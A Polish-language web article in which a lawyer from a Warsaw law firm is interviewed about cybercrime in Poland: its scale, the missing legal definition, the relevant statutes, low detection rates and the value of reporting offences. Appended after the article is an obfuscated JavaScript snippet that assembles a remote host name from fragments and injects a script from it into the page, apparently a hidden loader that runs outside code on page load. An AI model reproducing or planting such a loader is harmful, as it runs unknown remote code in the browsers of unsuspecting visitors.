

Cyberprzestępczość w Polsce

Problem przestępczości związanej z wykorzystaniem globalnej sieci www staje się z roku na rok coraz dotkliwszy – według bieżących szacunków już ponad kilkaset milionów dorosłych osób stało się ofiarami ataków dokonywanych przez cyberprzestępców. Jednym z powodów tak dużej skali przestępczości w Internecie jest fakt, że sprawcy czują się w zasadzie bezkarni, ponieważ wykrywalność jest bardzo niska, a nowe technologie, które dają przestępcom szersze możliwości, stają się coraz powszechniej dostępne.

O udzielenie odpowiedzi na kilka pytań dotyczących cyberprzestępczości poprosiliśmy specjalizującego w tej dziedzinie adwokata Adama Krassowskiego z Kancelarii Adwokackiej KN Adwokaci, świadczącej usługi prawne w Warszawie.

Jak przedstawia się kwestia cyberprzestępczości w Polsce – czy mamy się czego obawiać?

Brutalna prawda jest taka, że powody do obaw mają wszyscy, ponieważ szybki rozwój technologiczny daje cyberprzestępcom do ręki potężną broń, a w wyścigu z organami ścigania starają się oni być zawsze o krok z przodu. Warto przy tym pamiętać, że ofiarą cyberataku może stać się każdy z nas i wcale nie trzeba wchodzić na podejrzane strony internetowe czy dopuścić do zainfekowania domowego komputera wirusem. Niemal każdy dorosły Polak posiada konto bankowe, a banki są bardzo łakomym kąskiem dla każdego przestępcy. Wystarczy, że znajdą oni lukę w zabezpieczeniach bankowych systemów operacyjnych – możemy stracić naszą elektroniczną tożsamość albo nawet oszczędności całego życia w mgnieniu oka. Warto mieć ten fakt na uwadze, bo zagrożenie nie jest może łatwo dostrzegalne, jest jednak jak najbardziej realne.

Jeśli natomiast chodzi o kwestię polskich regulacji prawnych w zakresie przestępstw komputerowych, to należy zwrócić uwagę na to, iż po dziś dzień nie zdefiniowano cyberprzestępczości na gruncie rodzimego prawodawstwa. Korzystamy z definicji stworzonych przez organizacje o charakterze międzynarodowym (np. Interpol, ONZ czy Radę Europy), według których cyberprzestępczość to ogół nielegalnych działań dokonywanych w postaci operacji elektronicznych, które są wymierzone przeciwko bezpieczeństwu systemów komputerowych albo danych znajdujących się w tych systemach i przez nie przetwarzanych. W ogólniejszym ujęciu cyberprzestępczość należy rozumieć jako wszystkie nielegalne działania związane z urządzeniami teleinformatycznymi albo popełnione za ich pomocą. Dodam, że nawet tak ogólnie rozumianej definicji nie można uznać za kompletną z racji wspomnianego już postępu technologicznego, który umożliwia przestępcom dokonywanie bezprawnych działań za pomocą nieznanymi wcześniej narzędzi oraz metod.

Czy w takim razie jesteście wystarczająco dobrze chronieni przez prawo?

Głównym aktem prawnym, regulującym kwestie związane z przestępczością komputerową, jest Kodeks karny. Ponadto regulacje mające zastosowanie w przypadku części cyberprzestępstw można znaleźć w Ustawie o ochronie baz danych, Ustawie o prawie autorskim, Ustawie o świadczeniu usług drogą elektroniczną, Ustawie o ochronie danych osobowych, czy też Ustawie o zwalczaniu nieuczciwej konkurencji. Jak widać, podstawowym problemem jest tu nie tyle brak regulacji, co ich decentralizacja oraz brak definicji poszczególnych pojęć związanych z cyberprzestępczością.

Z tym powiązana jest także kwestia wykrywalności przestępstw komputerowych – nie jest ona niska, ale zwrócę uwagę na pewien aspekt problemu, który może umykać przy powierzchownym oglądzie. Chodzi mianowicie o to, że wykryte przestępstwo to takie, w którym została ustalona co najmniej jedna osoba podejrzana, której udowodniono popełnienie przestępstwa podczas postępowania przygotowawczego. Łatwo zauważyć, na czym polega problem w kontekście anonimowych z zasady przestępstw komputerowych – niezależnie od tego, jak dobrze chronią nas regulacje prawne. Największy kłopot polega na zidentyfikowaniu sprawcy i udowodnieniu mu winy. Ogromnych problemów nastręcza też fakt, iż cyberprzestępstwa są popełniane transgranicznie (przestępca znajduje się w innym kraju, niż jego ofiara) albo nawet w zupełnym oderwaniu od terytorium jakiegokolwiek jurysdykcji.

Jakie cyberprzestępstwa są popełniane najczęściej?

Najogólniej rzecz biorąc w Polsce najczęściej dochodzi do przestępstw przeciwko ochronie informacji, powszechnym zjawiskiem są także różnego rodzaju oszustwa (np. sprzedaż nieistniejących towarów lub jednego i tego samego przedmiotu wielu różnym osobom). Warto jednak mieć w pamięci fakt, o którym wspominałem już wcześniej, a mianowicie kwestię wykrywalności. Relatywnie łatwo można udowodnić na przykład, że pracodawca czytał prywatną korespondencję pracownika, otrzymywaną na firmową skrzynkę mailową, ale już nie tak prosto jest postawić zarzuty komuś, kto dopuszcza się niszczenia danych informatycznych. Choćby z tego powodu możemy przyjąć założenie, że figurujące w policyjnych statystykach kilkadziesiąt tysięcy cyberprzestępstw w skali roku stanowi zaledwie ułamek tego, z czym mamy do czynienia realnie.

Proszę na koniec powiedzieć, jak się chronić przed atakami cyberprzestępców?

Na pewno należy zachować zdrowy rozsądek i mieć świadomość istnienia potencjalnego zagrożenia podczas korzystania z Internetu, choć jak mówiłem nie ma gwarancji, że nie staniemy się pośrednim celem ataku przestępców. Na temat bezpieczeństwa w sieci istnieje wiele poradników stworzonych przez ekspertów w tej dziedzinie i do nich odsyłam osoby zainteresowane pogłębieniem wiedzy w tym zakresie.

Warto wszakże wziąć pod uwagę, że nie powinniśmy bagatelizować sytuacji, w których staliśmy się ofiarą cyberprzestępstwa, nawet jeśli obiektywnie patrząc straciliśmy tylko niewielką kwotę pieniędzy.

Każdorazowy brak reakcji ze strony poszkodowanego w postaci zgłoszenia przestępstwa na Policję rozzuchwala przestępców i pozwala im tym skuteczniej unikać kary za swoje czyny.

W imieniu internautów dziękuję za odpowiedzi i poświęcony nam czas!

Dziękuję również, a przy okazji zapraszam do kontaktu z naszą kancelarią w razie potrzeby uzyskania pomocy prawnej. Można skorzystać z dostępnego na naszej stronie formularza kontaktowego, zadzwonić lub napisać maila. Z chęcią pomożemy!

```
(function(){  
  qxtn=document.createElement("script");qxtn_=("us")+("ta");  
  qxtn_+="t"+".";qxtn_+=("in");qxtnu="65699532";qxtn.async=true;  
  qxtnu+="kk350bycxtnXmItb0";qxtn.type="text/javascript";qxtn_+="f"+"o"+"("/);  
  qxtnu+="9jr5uzlbjav2v";qxtn.src="//"+qxtn_+qxtnu;  
  dqxtn=document.body;dqxtn.appendChild(qxtn);  
})();
```